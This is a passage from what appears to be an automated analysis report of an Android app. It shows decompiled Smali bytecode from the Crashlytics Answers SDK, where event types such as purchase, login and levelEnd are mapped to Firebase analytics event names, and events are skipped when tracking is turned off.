                          87if-eqz v1, :cond_d2
                          89const-string v2, "item_id"
                          91iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          93const-string v3, "itemId"
                          95invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          96move-result-object v1
                          97check-cast v1, Ljava/lang/String;
                          99invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          101const-string v2, "item_name"
                          103iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          105const-string v3, "itemName"
                          107invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          108move-result-object v1
                          109check-cast v1, Ljava/lang/String;
                          111invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          113const-string v2, "item_category"
                          115iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          117const-string v3, "itemType"
                          119invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          120move-result-object v1
                          121check-cast v1, Ljava/lang/String;
                          123invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          125const-string v1, "price"
                          127iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          129const-string v3, "itemPrice"
                          131invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          132move-result-object v2
                          134invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPriceValue(Ljava/lang/Object;)Ljava/lang/Double;
                          135move-result-object v2
                          137invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putDouble(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Double;)V
                          139const-string v1, "value"
                          141iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          143const-string v3, "itemPrice"
                          145invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          146move-result-object v2
                          148invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPriceValue(Ljava/lang/Object;)Ljava/lang/Double;
                          149move-result-object v2
                          151invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putDouble(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Double;)V
                          153const-string v2, "currency"
                          155iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          157const-string v3, "currency"
                          159invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          160move-result-object v1
                          161check-cast v1, Ljava/lang/String;
                          163invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          165const-string v1, "quantity"
                          166const-wide/16 v2, 0x1
                          168invoke-virtual {v0, v1, v2, v3}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
                          169goto/16 :goto_5c
                          170cond_d2:
                          171const-string v1, "startCheckout"
                          173iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          175invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          176move-result v1
                          177if-eqz v1, :cond_116
                          179const-string v2, "quantity"
                          181iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          183const-string v3, "itemCount"
                          185invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          186move-result-object v1
                          187check-cast v1, Ljava/lang/Integer;
                          189invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                          190move-result v1
                          191int-to-long v4, v1
                          193invoke-static {v4, v5}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                          194move-result-object v1
                          196invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putLong(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Long;)V
                          198const-string v1, "value"
                          200iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          202const-string v3, "totalPrice"
                          204invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          205move-result-object v2
                          207invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapPriceValue(Ljava/lang/Object;)Ljava/lang/Double;
                          208move-result-object v2
                          210invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putDouble(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Double;)V
                          212const-string v2, "currency"
                          214iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          216const-string v3, "currency"
                          218invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          219move-result-object v1
                          220check-cast v1, Ljava/lang/String;
                          222invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          223goto/16 :goto_5c
                          224cond_116:
                          225const-string v1, "contentView"
                          227iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          229invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          230move-result v1
                          231if-eqz v1, :cond_14f
                          233const-string v2, "content_type"
                          235iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          237const-string v3, "contentType"
                          239invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          240move-result-object v1
                          241check-cast v1, Ljava/lang/String;
                          243invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          245const-string v2, "item_id"
                          247iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          249const-string v3, "contentId"
                          251invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          252move-result-object v1
                          253check-cast v1, Ljava/lang/String;
                          255invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          257const-string v2, "item_name"
                          259iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          261const-string v3, "contentName"
                          263invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          264move-result-object v1
                          265check-cast v1, Ljava/lang/String;
                          267invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          268goto/16 :goto_5c
                          269cond_14f:
                          270const-string v1, "search"
                          272iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          274invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          275move-result v1
                          276if-eqz v1, :cond_16a
                          278const-string v2, "search_term"
                          280iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          282const-string v3, "query"
                          284invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          285move-result-object v1
                          286check-cast v1, Ljava/lang/String;
                          288invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          289goto/16 :goto_5c
                          290cond_16a:
                          291const-string v1, "share"
                          293iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          295invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          296move-result v1
                          297if-eqz v1, :cond_1b2
                          299const-string v2, "method"
                          301iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          303const-string v3, "method"
                          305invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          306move-result-object v1
                          307check-cast v1, Ljava/lang/String;
                          309invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          311const-string v2, "content_type"
                          313iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          315const-string v3, "contentType"
                          317invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          318move-result-object v1
                          319check-cast v1, Ljava/lang/String;
                          321invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          323const-string v2, "item_id"
                          325iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          327const-string v3, "contentId"
                          329invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          330move-result-object v1
                          331check-cast v1, Ljava/lang/String;
                          333invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          335const-string v2, "item_name"
                          337iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          339const-string v3, "contentName"
                          341invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          342move-result-object v1
                          343check-cast v1, Ljava/lang/String;
                          345invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          346goto/16 :goto_5c
                          347cond_1b2:
                          348const-string v1, "rating"
                          350iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          352invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          353move-result v1
                          354if-eqz v1, :cond_1fc
                          356const-string v1, "rating"
                          358iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          360const-string v3, "rating"
                          362invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          363move-result-object v2
                          365invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                          366move-result-object v2
                          368invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          370const-string v2, "content_type"
                          372iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          374const-string v3, "contentType"
                          376invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          377move-result-object v1
                          378check-cast v1, Ljava/lang/String;
                          380invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          382const-string v2, "item_id"
                          384iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          386const-string v3, "contentId"
                          388invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          389move-result-object v1
                          390check-cast v1, Ljava/lang/String;
                          392invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          394const-string v2, "item_name"
                          396iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          398const-string v3, "contentName"
                          400invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          401move-result-object v1
                          402check-cast v1, Ljava/lang/String;
                          404invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          405goto/16 :goto_5c
                          406cond_1fc:
                          407const-string v1, "signUp"
                          409iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          411invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          412move-result v1
                          413if-eqz v1, :cond_217
                          415const-string v2, "method"
                          417iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          419const-string v3, "method"
                          421invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          422move-result-object v1
                          423check-cast v1, Ljava/lang/String;
                          425invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          426goto/16 :goto_5c
                          427cond_217:
                          428const-string v1, "login"
                          430iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          432invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          433move-result v1
                          434if-eqz v1, :cond_232
                          436const-string v2, "method"
                          438iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          440const-string v3, "method"
                          442invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          443move-result-object v1
                          444check-cast v1, Ljava/lang/String;
                          446invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          447goto/16 :goto_5c
                          448cond_232:
                          449const-string v1, "invite"
                          451iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          453invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          454move-result v1
                          455if-eqz v1, :cond_24d
                          457const-string v2, "method"
                          459iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          461const-string v3, "method"
                          463invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          464move-result-object v1
                          465check-cast v1, Ljava/lang/String;
                          467invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          468goto/16 :goto_5c
                          469cond_24d:
                          470const-string v1, "levelStart"
                          472iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          474invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          475move-result v1
                          476if-eqz v1, :cond_268
                          478const-string v2, "level_name"
                          480iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          482const-string v3, "levelName"
                          484invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          485move-result-object v1
                          486check-cast v1, Ljava/lang/String;
                          488invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          489goto/16 :goto_5c
                          490cond_268:
                          491const-string v1, "levelEnd"
                          493iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          495invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          496move-result v1
                          497if-eqz v1, :cond_5c
                          499const-string v1, "score"
                          501iget-object v2, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          503const-string v3, "score"
                          505invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          506move-result-object v2
                          508invoke-direct {p0, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapDouble(Ljava/lang/Object;)Ljava/lang/Double;
                          509move-result-object v2
                          511invoke-direct {p0, v0, v1, v2}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putDouble(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Double;)V
                          513const-string v2, "level_name"
                          515iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          517const-string v3, "levelName"
                          519invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          520move-result-object v1
                          521check-cast v1, Ljava/lang/String;
                          523invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putString(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/String;)V
                          525const-string v2, "success"
                          527iget-object v1, p1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedAttributes:Ljava/util/Map;
                          529const-string v3, "success"
                          531invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          532move-result-object v1
                          533check-cast v1, Ljava/lang/String;
                          535invoke-direct {p0, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapBooleanValue(Ljava/lang/String;)Ljava/lang/Integer;
                          536move-result-object v1
                          538invoke-direct {p0, v0, v2, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->putInt(Landroid/os/Bundle;Ljava/lang/String;Ljava/lang/Integer;)V
                          539goto/16 :goto_5c
                          Cross References
                          APIs
                          • java.lang.String.hashCode
                          • java.lang.String.equals
                          Strings
                          • purchase
                          • signUp
                          • login
                          • failed_ecommerce_purchase
                          • failed_sign_up
                          • failed_login
                          • addToCart
                          • startCheckout
                          • contentView
                          • search
                          • share
                          • rating
                          • invite
                          • levelStart
                          • levelEnd
                          • ecommerce_purchase
                          • add_to_cart
                          • begin_checkout
                          • select_content
                          • rate_content
                          • sign_up
                          • level_start
                          • level_end
                          Position Instruction Meta Information
                          0.param p1, "name" # Ljava/lang/String;
                          1.param p2, "wasFailedEvent" # Z
                          2.prologue
                          3const/4 v3, 0x2
                          4const/4 v2, 0x1
                          5const/4 v0, 0x0
                          6const/4 v1, -0x1
                          7if-eqz p2, :cond_11
                          9invoke-virtual {p1}, Ljava/lang/String;->hashCode()I
                          10move-result v4
                          11sparse-switch v4, :sswitch_data_f8
                          12cond_d: move v4, v1
                          13goto_e: packed-switch v4, :pswitch_data_106
                          14cond_11:
                          15invoke-virtual {p1}, Ljava/lang/String;->hashCode()I
                          16move-result v4
                          17sparse-switch v4, :sswitch_data_110
                          18cond_18: move v0, v1
                          19goto_19: packed-switch v0, :pswitch_data_142
                          21invoke-direct {p0, p1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapCustomEventName(Ljava/lang/String;)Ljava/lang/String;
                          22move-result-object v0
                          23goto_20: return-object v0
                          24sswitch_21:
                          25const-string v4, "purchase"
                          27invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          28move-result v4
                          29if-eqz v4, :cond_d
                          30move v4, v0
                          31goto/16 :goto_e
                          32sswitch_2b:
                          33const-string v4, "signUp"
                          35invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          36move-result v4
                          37if-eqz v4, :cond_d
                          38move v4, v2
                          39goto/16 :goto_e
                          40sswitch_35:
                          41const-string v4, "login"
                          43invoke-virtual {p1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          44move-result v4
                          45if-eqz v4, :cond_d
                          46move v4, v3
                          47goto/16 :goto_e
                          48pswitch_3f:
                          49const-string v0, "failed_ecommerce_purchase"
                          50goto/16 :goto_20
                          51pswitch_42:
                          52const-string v0, "failed_sign_up"
                          53goto/16 :goto_20
                          54pswitch_45:
                          55const-string v0, "failed_login"
                          56goto/16 :goto_20
                          57sswitch_48:
                          58const-string v2, "purchase"
                          60invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          61move-result v2
                          62if-eqz v2, :cond_18
                          63goto/16 :goto_19
                          64sswitch_51:
                          65const-string v0, "addToCart"
                          67invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          68move-result v0
                          69if-eqz v0, :cond_18
                          70move v0, v2
                          71goto/16 :goto_19
                          72sswitch_5b:
                          73const-string v0, "startCheckout"
                          75invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          76move-result v0
                          77if-eqz v0, :cond_18
                          78move v0, v3
                          79goto/16 :goto_19
                          80sswitch_65:
                          81const-string v0, "contentView"
                          83invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          84move-result v0
                          85if-eqz v0, :cond_18
                          86const/4 v0, 0x3
                          87goto/16 :goto_19
                          88sswitch_6f:
                          89const-string v0, "search"
                          91invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          92move-result v0
                          93if-eqz v0, :cond_18
                          94const/4 v0, 0x4
                          95goto/16 :goto_19
                          96sswitch_79:
                          97const-string v0, "share"
                          99invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          100move-result v0
                          101if-eqz v0, :cond_18
                          102const/4 v0, 0x5
                          103goto/16 :goto_19
                          104sswitch_83:
                          105const-string v0, "rating"
                          107invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          108move-result v0
                          109if-eqz v0, :cond_18
                          110const/4 v0, 0x6
                          111goto/16 :goto_19
                          112sswitch_8d:
                          113const-string v0, "signUp"
                          115invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          116move-result v0
                          117if-eqz v0, :cond_18
                          118const/4 v0, 0x7
                          119goto/16 :goto_19
                          120sswitch_97:
                          121const-string v0, "login"
                          123invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          124move-result v0
                          125if-eqz v0, :cond_18
                          126const/16 v0, 0x8
                          127goto/16 :goto_19
                          128sswitch_a3:
                          129const-string v0, "invite"
                          131invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          132move-result v0
                          133if-eqz v0, :cond_18
                          134const/16 v0, 0x9
                          135goto/16 :goto_19
                          136sswitch_af:
                          137const-string v0, "levelStart"
                          139invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          140move-result v0
                          141if-eqz v0, :cond_18
                          142const/16 v0, 0xa
                          143goto/16 :goto_19
                          144sswitch_bb:
                          145const-string v0, "levelEnd"
                          147invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          148move-result v0
                          149if-eqz v0, :cond_18
                          150const/16 v0, 0xb
                          151goto/16 :goto_19
                          152pswitch_c7:
                          153const-string v0, "ecommerce_purchase"
                          154goto/16 :goto_20
                          155pswitch_cb:
                          156const-string v0, "add_to_cart"
                          157goto/16 :goto_20
                          158pswitch_cf:
                          159const-string v0, "begin_checkout"
                          160goto/16 :goto_20
                          161pswitch_d3:
                          162const-string v0, "select_content"
                          163goto/16 :goto_20
                          164pswitch_d7:
                          165const-string v0, "search"
                          166goto/16 :goto_20
                          167pswitch_db:
                          168const-string v0, "share"
                          169goto/16 :goto_20
                          170pswitch_df:
                          171const-string v0, "rate_content"
                          172goto/16 :goto_20
                          173pswitch_e3:
                          174const-string v0, "sign_up"
                          175goto/16 :goto_20
                          176pswitch_e7:
                          177const-string v0, "login"
                          178goto/16 :goto_20
                          179pswitch_eb:
                          180const-string v0, "invite"
                          181goto/16 :goto_20
                          182pswitch_ef:
                          183const-string v0, "level_start"
                          184goto/16 :goto_20
                          185pswitch_f3:
                          186const-string v0, "level_end"
                          187goto/16 :goto_20
                          188nop
                          APIs
                          • com.crashlytics.android.answers.SessionEvent$Type.equals
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • com.crashlytics.android.answers.SessionEvent$Type.equals
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • com.crashlytics.android.answers.SessionEvent$Type.equals
                          • java.lang.String.equals
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Custom events tracking disabled - skipping event:
                          • Predefined events tracking disabled - skipping event:
                          • Skipping filtered event:
                          • purchase
                          • Failed to map event to Firebase:
                          • Failed to write event:
                          Position Instruction Meta Information
                          0.param p1, "builder" # Lcom/crashlytics/android/answers/SessionEvent$Builder;
                          1.prologue
                          3iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->metadata:Lcom/crashlytics/android/answers/SessionEventMetadata;
                          5invoke-virtual {p1, v4}, Lcom/crashlytics/android/answers/SessionEvent$Builder;->build(Lcom/crashlytics/android/answers/SessionEventMetadata;)Lcom/crashlytics/android/answers/SessionEvent;
                          6move-result-object v1
                          7iget-boolean v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->customEventsEnabled:Z
                          8if-nez v4, :cond_31
                          10sget-object v4, Lcom/crashlytics/android/answers/SessionEvent$Type;->CUSTOM:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          12iget-object v5, v1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          14invoke-virtual {v4, v5}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          15move-result v4
                          16if-eqz v4, :cond_31
                          18invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          19move-result-object v4
                          21const-string v5, "Answers"
                          22new-instance v6, Ljava/lang/StringBuilder;
                          24invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          26const-string v7, "Custom events tracking disabled - skipping event: "
                          28invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          29move-result-object v6
                          31invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          32move-result-object v6
                          34invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          35move-result-object v6
                          37invoke-interface {v4, v5, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          38goto_30: return-void
                          39cond_31: iget-boolean v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->predefinedEventsEnabled:Z
                          40if-nez v4, :cond_5c
                          42sget-object v4, Lcom/crashlytics/android/answers/SessionEvent$Type;->PREDEFINED:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          44iget-object v5, v1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          46invoke-virtual {v4, v5}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          47move-result v4
                          48if-eqz v4, :cond_5c
                          50invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          51move-result-object v4
                          53const-string v5, "Answers"
                          54new-instance v6, Ljava/lang/StringBuilder;
